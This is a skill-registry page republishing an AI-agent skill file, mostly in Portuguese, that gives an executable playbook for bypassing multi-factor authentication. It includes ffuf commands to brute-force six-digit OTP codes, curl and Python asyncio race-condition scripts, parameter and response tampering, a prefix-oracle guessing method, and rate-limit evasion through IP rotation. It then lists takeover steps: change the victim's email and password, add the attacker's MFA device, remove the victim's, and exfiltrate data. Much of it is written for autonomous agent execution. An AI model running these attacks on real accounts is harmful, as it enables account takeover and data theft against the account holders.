# Khaos Mfa Bypass

> name: khaos-mfa-bypass

- Skill: `henriqqw/khaos-mfa-bypass` (Agent Skill)
- Install (CLI): `npx get-skill add henriqqw/khaos-mfa-bypass`
- Raw SKILL.md: https://api.skillmd.com/api/skills/henriqqw/khaos-mfa-bypass/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: henriqqw (https://skillmd.com/u/henriqqw)
- Updated: 2026-11-18
- Page: https://skillmd.com/skills/henriqqw/khaos-mfa-bypass

---

﻿---
name: khaos-mfa-bypass
description: Bypass real de MFA — reutilização de código, brute force de OTP, race condition, código vazio/nulo, manipulação de parâmetros e acesso à conta sem segundo fator
metadata:
  khaos:
    tool_ids: [httpx, ffuf]
    wordlist_ids: []
    stages: [authentication, vuln, validation, exploitation]
    source_type: original
    source:
      repository: https://github.com/henriqqw/Khaos
      revision: internal
      path: internal/skillseed/catalog/khaos-mfa-bypass/SKILL.md
      license: MIT
      reviewed_by: Khaos maintainers
      review_note: Skill de bypass de MFA executável — permite bypass real de autenticação multi-fator e acesso à conta sem segundo fator dentro do escopo.
---

# MFA Bypass — Bypass Real de Autenticação Multi-Fator

## Objetivo

Explorar implementações falhas de MFA para contornar o segundo fator sem possuir o dispositivo ou código legítimo, obtendo acesso à conta da vítima dentro do escopo.

## Pré-condições

- Conta de teste com MFA habilitado no escopo.
- Acesso a proxy de interceptação.
- Autorização para teste de MFA (authorization plan com `aggressive: true`).

## Procedimento Executável

### 1. Reutilização de código OTP/TOTP
Use o mesmo código duas vezes no mesmo intervalo:
```http
POST /api/mfa/verify
{"otp": "123456"}
POST /api/mfa/verify
{"otp": "123456"}
```
Se ambos aceitos → não há controle de uso único.

### 2. Brute force de OTP
Teste se há rate limiting no endpoint de validação:
```bash
ffuf -w codes.txt:CODE \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"otp": "CODE"}' \
  -u https://target.com/api/mfa/verify \
  -rate 10
```
Teste 000000-999999 se não houver rate limiting.

### 3. Manipulação de fluxo (skip MFA)
Após validar senha, pule diretamente para URL pós-MFA:
```http
GET /api/dashboard  (sem completar MFA)
GET /api/home
GET /api/settings
```
Se a sessão está ativa sem MFA → bypass confirmado.

### 4. Manipulação de parâmetros
Intercepte requisição de validação MFA e altere:
```http
POST /api/mfa/verify
{"otp": "123456", "mfa_required": false}
{"otp": "123456", "skip_mfa": true}
{"otp": "123456", "mfa_enrolled": false}
```
Ou remova o campo MFA completamente:
```http
POST /api/mfa/verify
{"otp": ""}
```

### 5. Código vazio/nulo
Envie valores inválidos para OTP:
```http
{"otp": ""}
{"otp": null}
{"otp": 0}
{"otp": "0"}
{"otp": []}
{"otp": {}}
```
Backends que não validam tipo podem aceitar.

### 6. Race condition
Envie duas requisições simultâneas com mesmo código:
```bash
curl -X POST https://target.com/api/mfa/verify -d '{"otp":"123456"}' &
curl -X POST https://target.com/api/mfa/verify -d '{"otp":"123456"}' &
wait
```
Se ambas aceitas → condição de corrida no servidor.

### 7. Código de backup/recuperação
Tente códigos de recuperação gerados na criação da conta. Verifique se expiram ou têm limite de uso.

### 8. Acesso à conta após bypass
Após bypass de MFA:
1. Acesse a conta da vítima
2. Altere email/senha para manter acesso (takeover)
3. Adicione dispositivo de MFA do atacante
4. Remova MFA da vítima
5. Exfiltre dados sensíveis

## Execução via ferramentas do Khaos

- **httpx**: teste de endpoints de MFA
- **ffuf**: brute force de códigos OTP
- **Burp Suite**: teste manual de manipulação de fluxo e parâmetros
- **Comando arbitrário**: `khaos_exec_shell` para scripts automatizados de bypass de MFA

## Condições de Parada

- Rate limiting ativo após 3–5 tentativas incorretas.
- Redirecionamento para etapa MFA mesmo ao acessar diretamente URL pós-login.
- Código OTP inválido ou nulo rejeitado com 400/401.

## Referências

- OWASP Testing Guide: OTG-AUTHN-011
- CVE-2022-35736 (Cisco Duo MFA bypass via race condition)
- PortSwigger: Multi-factor authentication bypass labs
## BugHunter Patterns

*Patterns sourced from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-mfa-bypass/SKILL.md)*

## Autonomous Testing Priority

**Try workflow bypasses before brute force — they're faster and more likely to succeed.**

**Pattern 1 — Skip the MFA step entirely (most automatable):**
1. Login with valid credentials → receive a "pre-MFA" session state
2. Without completing MFA, directly access a protected resource (`/dashboard`, `/api/me`, `/account/profile`)
3. If the response returns user data → MFA is enforced only in the UI, not server-side = Critical

**Pattern 2 — OTP replay (reuse a consumed code):**
1. Complete a valid MFA flow to get a working OTP
2. Log out, log in again with the same credentials
3. Submit the same OTP again
4. If accepted → OTP is not invalidated after use

**Pattern 3 — Submit obviously wrong OTP, observe response:**
Try submitting `000000` or `123456`. If the response is 200 or returns a session token, OTP validation is broken or client-side only.

**Pattern 4 — Partial / incremental validation (prefix oracle):**
If a guessed full code is rejected, test whether the server validates the OTP **prefix-by-prefix** instead of all-or-nothing. Submit a short partial code and compare responses:
1. Submit a 1–3 digit value (e.g. `otp=1`, then `otp=12`, …) — for a POST verify endpoint the code goes in the **request body**, not the URL query string, or the server reads an empty value.
2. If a *correct* prefix gives a DIFFERENT response than a wrong one (a success/flag, a distinct message, or a different length/timing), the validator leaks correctness one chunk at a time.
3. Walk the code digit-by-digit: keep the prefix that "responds correct," append 0–9, repeat. This collapses 10^6 brute force to ~10×N guesses (≤60 for a 6-digit code) — very feasible in a bounded test.
This is the go-to when there is no leaked code and no skip/replay path. Some apps award success on *any* correct prefix outright (so a single correct first digit can win — sweep `otp=0,1,…,9` before giving up).
**CRITICAL — stay in ONE session:** re-authenticating (POST /…/login again) regenerates the OTP, throwing away your prefix progress. Do the entire sweep against a single established MFA session; never re-login between guesses.

**On full brute force:** brute-forcing all 10^6 codes is infeasible in a bounded test — but the prefix oracle above (Pattern 4) usually makes it unnecessary. Only attempt full brute force with evidence of no rate limit AND a small key space.

**Proof:** A session token or protected resource data in the response without completing MFA confirms the bypass.

---

## 19. MFA / 2FA BYPASS
> Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.

### Pattern 1: No Rate Limit on OTP
```bash
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
  -X POST -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
```

### Pattern 2: OTP Not Invalidated After Use
```
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
```

### Pattern 3: Response Manipulation
```
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
```

### Pattern 4: Skip MFA Step (Workflow Bypass)
```bash
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
```

### Pattern 5: Race on MFA Verification
```python
import asyncio, aiohttp

async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return r.status, await r.text()

async def race():
    cookies = {"session": "YOUR_SESSION"}
    async with aiohttp.ClientSession(cookies=cookies) as s:
        # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
        # window before the server marks it used. Two requests are NOT enough —
        # they almost always resolve sequentially as "already-used" (false negative).
        # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
        results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
        # Race confirmed if >1 success (or 1 success among many "already-used").
        for status, body in results:
            print(status, body)
asyncio.run(race())
```

### Pattern 6: Backup Code Brute Force
```
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
```

### Pattern 7: "Remember This Device" Trust Escalation
```
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
```

### MFA Chain Escalation
```
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
```

---

## Related Skills & Chains

- **`hunt-ato`** — MFA bypass is a primitive; ATO is the destination. Chain primitive: cookie theft (via XSS or session-fixation) + password oracle (login response timing/length diff reveals valid passwords without lockout) + no MFA step-up on password-change endpoint = persistent ATO without ever facing the OTP challenge → password rotated, attacker locks victim out.
- **`hunt-race-condition`** — Pattern 5 (OTP race) lives in race-condition territory; load both skills together. Chain primitive: same 6-digit OTP submitted via 20 parallel HTTP/2 streams (single-packet Turbo Intruder attack) before the server marks it used → 1 success + 19 "already-used" → race window confirmed → attacker doesn't need to brute, just guesses once and parallelizes → ATO.
- **`hunt-auth-bypass`** — MFA-step-skip is auth-flow bypass at the workflow layer. Chain primitive: pre-MFA cookie issued after password step + direct navigation to `/dashboard` skipping `/mfa` route + server only middleware-gates `/mfa` not `/dashboard` = full post-auth access from password-only state → MFA never enforced because the route gate was misplaced.
- **`hunt-misc`** — Recovery-code dump via `/api/me` is a misc-class info disclosure that becomes Critical when chained. Chain primitive: `/api/me` returns full user object including `backup_codes` array (plaintext, never rotated) → attacker with any read-IDOR or XSS exfils backup codes → uses one backup code → MFA satisfied → ATO without OTP knowledge.
- **`security-arsenal`** — Pull the OTP-brute-force payload section (000000-999999 wordlist generator, ffuf rate-limit-evasion patterns with `-t 5 -p 0.5-2`, distributed-IP rotation via proxychains) and the JWT-token-replay table when "MFA satisfied" claim lives in a JWT claim that can be forged.
- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an MFA bypass that only works when the attacker already has the password. Standalone MFA bypass is High; chained-with-password-oracle is Critical; chained-with-cookie-theft-only is Critical. The chain question separates the two.
